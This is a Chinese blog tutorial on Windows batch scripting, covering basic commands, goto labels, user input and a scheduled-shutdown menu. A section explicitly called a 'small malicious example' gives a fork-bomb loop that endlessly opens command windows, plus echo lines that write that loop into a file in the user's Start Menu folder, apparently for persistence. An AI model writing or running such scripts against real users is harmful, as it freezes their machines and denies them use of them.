批处理编写
作者:互联网
文章目录
批处理编写
-
批处理文件又叫脚本
-
批处理处理的是命令
-
某条命令出错会继续执行下一条命令,从上往下执行,直到最后一条命令执行完毕.
-
命令先后顺序十分重要
-
linux里面叫shell脚本
如何创建批处理?
- 扩展名:.bat
- 方法:新建一个记事本,然后将扩展名改为.bat
- 特有命令(在批处理中才有意义)
- pause-----》执行到pause会暂停
- 批处理中的第一句话
- @echo off------->屏蔽执行过程
- title 标题-------->给批处理加上一个标题默认是cmd.exe
- echo.------------>空一行
- ping -n 延迟的时间 127.0.0.1 >nul 2>null------>显示的结果是卡在那里
- nul 2>null------->不能执行时不会报错
@ echo off
color 0a
title xxx
d:
cd \
fsutil file createnew d:\sys.ini 40000
-
:----------> 给命令划分区块,: 后面的文字是给区块其命令的
- : 单独使用没有任何意义。
- 需要与goto xxx 连用,跳转到某区块。
-
start 路径(或网址)
- start ------>打开cmd
循环出现cmd :d start goto d
-
开机就启动批处理文件
- % %------>取值
- userprofile---------->变量,储存当前
copy 启动路径
copy "%userprofile%"
- set /p a=请输入时间:
- a是咱们定义的变量,“请输入时间:”—>这是写给用户看的。
- /p--------->会暂停
菜单案例实现
@echo off
color 0a
title 菜单
:menu
cls
echo =============
echo 菜单
echo 1.定时关机
echo 2.取消关机
echo 3.退出
echo =============
set /p num=请输入选项:
if %num%==1 goto 1
if %num%==2 goto 2
if %num%==3 goto 3
:1
set /p time=请输入时间:
shutdown -f -s -t %time%
goto menu
:2
shutdown /a
goto menu
:3
exit
恶意小案例
1:
start
goto 1
copy %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu------>进入到开始菜单
echo a: >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"
echo start >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"
echo goto a >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"
补充
- 查看已知文件的扩展名-----》文件夹选项
- 更改颜色 color 0a-------->第一个数字是背景色,第二个数字是文字颜色
标签:bat,goto,批处理,echo,start,userprofile%,编写 来源: https://blog.csdn.net/weixin_59269336/article/details/120167065